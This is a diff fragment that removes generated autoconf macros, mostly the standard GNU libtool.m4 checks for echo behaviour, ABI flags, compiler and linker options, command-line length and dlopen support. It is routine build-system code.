- AC_MSG_NOTICE([$_OUT is unchanged])
- else
- ac_dir=`AS_DIRNAME(["$_OUT"])`
- AS_MKDIR_P(["$ac_dir"])
- rm -f "$_OUT"
- mv $tmp/pconfig.h "$_OUT"
- fi
- cp _script _configs.sed
- else
- AC_MSG_ERROR([input file $_INP does not exist - skip generating $_OUT])
- fi
- rm -f conftest.*
-fi
-m4_popdef([_symbol])dnl
-m4_popdef([_script])dnl
-AS_VAR_POPDEF([_INP])dnl
-AS_VAR_POPDEF([_UPP])dnl
-AS_VAR_POPDEF([_LOW])dnl
-AS_VAR_POPDEF([_PKG])dnl
-AS_VAR_POPDEF([_DEF])dnl
-AS_VAR_POPDEF([_OUT])dnl
-],[PACKAGE="$PACKAGE"])])
-
-# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
-## Copyright 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005
-## Free Software Foundation, Inc.
-## Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-##
-## This file is free software; the Free Software Foundation gives
-## unlimited permission to copy and/or distribute it, with or without
-## modifications, as long as this notice is preserved.
-
-# serial 48 AC_PROG_LIBTOOL
-
-
-# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED)
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-# If this macro is not defined by Autoconf, define it here.
-m4_ifdef([AC_PROVIDE_IFELSE],
- [],
- [m4_define([AC_PROVIDE_IFELSE],
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-
-
-# AC_PROG_LIBTOOL
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-dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX
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- AC_PROVIDE_IFELSE([AC_PROG_CXX],
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-dnl And a similar setup for Fortran 77 support
- AC_PROVIDE_IFELSE([AC_PROG_F77],
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-dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly.
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-# _AC_PROG_LIBTOOL
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-AC_DEFUN([_LT_COMPILER_BOILERPLATE],
-[ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-])# _LT_COMPILER_BOILERPLATE
-
-
-# _LT_LINKER_BOILERPLATE
-# ----------------------
-# Check for linker boilerplate output or warnings with
-# the simple link test code.
-AC_DEFUN([_LT_LINKER_BOILERPLATE],
-[ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-])# _LT_LINKER_BOILERPLATE
-
-
-# _LT_AC_SYS_LIBPATH_AIX
-# ----------------------
-# Links a minimal program and checks the executable
-# for the system default hardcoded library path. In most cases,
-# this is /usr/lib:/lib, but when the MPI compilers are used
-# the location of the communication and MPI libs are included too.
-# If we don't find anything, use the default library path according
-# to the aix ld manual.
-AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX],
-[AC_LINK_IFELSE(AC_LANG_PROGRAM,[
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi],[])
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-])# _LT_AC_SYS_LIBPATH_AIX
-
-
-# _LT_AC_SHELL_INIT(ARG)
-# ----------------------
-AC_DEFUN([_LT_AC_SHELL_INIT],
-[ifdef([AC_DIVERSION_NOTICE],
- [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)],
- [AC_DIVERT_PUSH(NOTICE)])
-$1
-AC_DIVERT_POP
-])# _LT_AC_SHELL_INIT
-
-
-# _LT_AC_PROG_ECHO_BACKSLASH
-# --------------------------
-# Add some code to the start of the generated configure script which
-# will find an echo command which doesn't interpret backslashes.
-AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH],
-[_LT_AC_SHELL_INIT([
-# Check that we are running under the correct shell.
-SHELL=${CONFIG_SHELL-/bin/sh}
-
-case X$ECHO in
-X*--fallback-echo)
- # Remove one level of quotation (which was required for Make).
- ECHO=`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','`
- ;;
-esac
-
-echo=${ECHO-echo}
-if test "X[$]1" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
-elif test "X[$]1" = X--fallback-echo; then
- # Avoid inline document here, it may be left over
- :
-elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then
- # Yippee, $echo works!
- :
-else
- # Restart under the correct shell.
- exec $SHELL "[$]0" --no-reexec ${1+"[$]@"}
-fi
-
-if test "X[$]1" = X--fallback-echo; then
- # used as fallback echo
- shift
- cat <<EOF
-[$]*
-EOF
- exit 0
-fi
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-if test -z "$ECHO"; then
-if test "X${echo_test_string+set}" != Xset; then
-# find a string as large as possible, as long as the shell can cope with it
- for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do
- # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ...
- if (echo_test_string=`eval $cmd`) 2>/dev/null &&
- echo_test_string=`eval $cmd` &&
- (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null
- then
- break
- fi
- done
-fi
-
-if test "X`($echo '\t') 2>/dev/null`" = 'X\t' &&
- echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- :
-else
- # The Solaris, AIX, and Digital Unix default echo programs unquote
- # backslashes. This makes it impossible to quote backslashes using
- # echo "$something" | sed 's/\\/\\\\/g'
- #
- # So, first we look for a working echo in the user's PATH.
-
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for dir in $PATH /usr/ucb; do
- IFS="$lt_save_ifs"
- if (test -f $dir/echo || test -f $dir/echo$ac_exeext) &&
- test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' &&
- echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- echo="$dir/echo"
- break
- fi
- done
- IFS="$lt_save_ifs"
-
- if test "X$echo" = Xecho; then
- # We didn't find a better echo, so look for alternatives.
- if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' &&
- echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- # This shell has a builtin print -r that does the trick.
- echo='print -r'
- elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) &&
- test "X$CONFIG_SHELL" != X/bin/ksh; then
- # If we have ksh, try running configure again with it.
- ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh}
- export ORIGINAL_CONFIG_SHELL
- CONFIG_SHELL=/bin/ksh
- export CONFIG_SHELL
- exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"}
- else
- # Try using printf.
- echo='printf %s\n'
- if test "X`($echo '\t') 2>/dev/null`" = 'X\t' &&
- echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- # Cool, printf works
- :
- elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
- test "X$echo_testing_string" = 'X\t' &&
- echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL
- export CONFIG_SHELL
- SHELL="$CONFIG_SHELL"
- export SHELL
- echo="$CONFIG_SHELL [$]0 --fallback-echo"
- elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` &&
- test "X$echo_testing_string" = 'X\t' &&
- echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
- test "X$echo_testing_string" = "X$echo_test_string"; then
- echo="$CONFIG_SHELL [$]0 --fallback-echo"
- else
- # maybe with a smaller string...
- prev=:
-
- for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[$]0"' 'sed 50q "[$]0"'; do
- if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null
- then
- break
- fi
- prev="$cmd"
- done
-
- if test "$prev" != 'sed 50q "[$]0"'; then
- echo_test_string=`eval $prev`
- export echo_test_string
- exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+"[$]@"}
- else
- # Oops. We lost completely, so just stick with echo.
- echo=echo
- fi
- fi
- fi
- fi
-fi
-fi
-
-# Copy echo and quote the copy suitably for passing to libtool from
-# the Makefile, instead of quoting the original, which is used later.
-ECHO=$echo
-if test "X$ECHO" = "X$CONFIG_SHELL [$]0 --fallback-echo"; then
- ECHO="$CONFIG_SHELL \\\$\[$]0 --fallback-echo"
-fi
-
-AC_SUBST(ECHO)
-])])# _LT_AC_PROG_ECHO_BACKSLASH
-
-
-# _LT_AC_LOCK
-# -----------
-AC_DEFUN([_LT_AC_LOCK],
-[AC_ARG_ENABLE([libtool-lock],
- [AC_HELP_STRING([--disable-libtool-lock],
- [avoid locking (might break parallel builds)])])
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
-# libtool support.
-case $host in
-ia64-*-hpux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.$ac_objext` in
- *ELF-32*)
- HPUX_IA64_MODE="32"
- ;;
- *ELF-64*)
- HPUX_IA64_MODE="64"
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
- echo '[#]line __oline__ "configure"' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- if test "$lt_cv_prog_gnu_ld" = yes; then
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -melf32bsmip"
- ;;
- *N32*)
- LD="${LD-ld} -melf32bmipn32"
- ;;
- *64-bit*)
- LD="${LD-ld} -melf64bmip"
- ;;
- esac
- else
- case `/usr/bin/file conftest.$ac_objext` in
- *32-bit*)
- LD="${LD-ld} -32"
- ;;
- *N32*)
- LD="${LD-ld} -n32"
- ;;
- *64-bit*)
- LD="${LD-ld} -64"
- ;;
- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.o` in
- *32-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_i386"
- ;;
- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
- ;;
- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
- AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf,
- [AC_LANG_PUSH(C)
- AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no])
- AC_LANG_POP])
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if AC_TRY_EVAL(ac_compile); then
- case `/usr/bin/file conftest.o` in
- *64-bit*)
- case $lt_cv_prog_gnu_ld in
- yes*) LD="${LD-ld} -m elf64_sparc" ;;
- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL],
-[*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- AC_CHECK_TOOL(DLLTOOL, dlltool, false)
- AC_CHECK_TOOL(AS, as, false)
- AC_CHECK_TOOL(OBJDUMP, objdump, false)
- ;;
- ])
-esac
-
-need_locks="$enable_libtool_lock"
-
-])# _LT_AC_LOCK
-
-
-# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
-# [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE])
-# ----------------------------------------------------------------
-# Check whether the given compiler option works
-AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION],
-[AC_REQUIRE([LT_AC_PROG_SED])
-AC_CACHE_CHECK([$1], [$2],
- [$2=no
- ifelse([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4])
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$3"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&AS_MESSAGE_LOG_FD
- echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- $2=yes
- fi
- fi
- $rm conftest*
-])
-
-if test x"[$]$2" = xyes; then
- ifelse([$5], , :, [$5])
-else
- ifelse([$6], , :, [$6])
-fi
-])# AC_LIBTOOL_COMPILER_OPTION
-
-
-# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS,
-# [ACTION-SUCCESS], [ACTION-FAILURE])
-# ------------------------------------------------------------
-# Check whether the given compiler option works
-AC_DEFUN([AC_LIBTOOL_LINKER_OPTION],
-[AC_CACHE_CHECK([$1], [$2],
- [$2=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $3"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&AS_MESSAGE_LOG_FD
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- $2=yes
- fi
- else
- $2=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-])
-
-if test x"[$]$2" = xyes; then
- ifelse([$4], , :, [$4])
-else
- ifelse([$5], , :, [$5])
-fi
-])# AC_LIBTOOL_LINKER_OPTION
-
-
-# AC_LIBTOOL_SYS_MAX_CMD_LEN
-# --------------------------
-AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN],
-[# find the maximum length of command line arguments
-AC_MSG_CHECKING([the maximum length of command line arguments])
-AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[[ ]]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-])
-if test -n $lt_cv_sys_max_cmd_len ; then
- AC_MSG_RESULT($lt_cv_sys_max_cmd_len)
-else
- AC_MSG_RESULT(none)
-fi
-])# AC_LIBTOOL_SYS_MAX_CMD_LEN
-
-
-# _LT_AC_CHECK_DLFCN
-# ------------------
-AC_DEFUN([_LT_AC_CHECK_DLFCN],
-[AC_CHECK_HEADERS(dlfcn.h)dnl
-])# _LT_AC_CHECK_DLFCN
-
-
-# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE,
-# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING)
-# ---------------------------------------------------------------------
-AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF],
-[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "$cross_compiling" = yes; then :
- [$4]
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-[#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}]
-EOF
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) $1 ;;
- x$lt_dlneed_uscore) $2 ;;
- x$lt_dlunknown|x*) $3 ;;
- esac
- else :
- # compilation failed
- $3
- fi
-fi
-rm -fr conftest*
-])# _LT_AC_TRY_DLOPEN_SELF
-
-
-# AC_LIBTOOL_DLOPEN_SELF
-# ----------------------
-AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF],
-[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ])
- ;;
-
- *)
- AC_CHECK_FUNC([shl_load],
- [lt_cv_dlopen="shl_load"],
- [AC_CHECK_LIB([dld], [shl_load],
- [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"],
- [AC_CHECK_FUNC([dlopen],
- [lt_cv_dlopen="dlopen"],
- [AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],
- [AC_CHECK_LIB([svld], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"],
- [AC_CHECK_LIB([dld], [dld_link],
- [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"])
- ])
- ])
- ])
- ])
- ])
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
- dlopen)
- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- AC_CACHE_CHECK([whether a program can dlopen itself],
- lt_cv_dlopen_self, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes,
- lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross)
- ])
-
- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- AC_CACHE_CHECK([whether a statically linked program can dlopen itself],
- lt_cv_dlopen_self_static, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes,
- lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross)
- ])
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-])# AC_LIBTOOL_DLOPEN_SELF
-
-
-# AC_LIBTOOL_PROG_CC_C_O([TAGNAME])
-# ---------------------------------
-# Check to see if options -c and -o are simultaneously supported by compiler
-AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O],
-[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
-AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&AS_MESSAGE_LOG_FD
- echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
- fi
- fi
- chmod u+w . 2>&AS_MESSAGE_LOG_FD
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-])
-])# AC_LIBTOOL_PROG_CC_C_O
-
-
-# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME])
-# -----------------------------------------
-# Check to see if we can do hard links to lock some files if needed
-AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS],
-[AC_REQUIRE([_LT_AC_LOCK])dnl
-
-hard_links="nottested"
-if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then
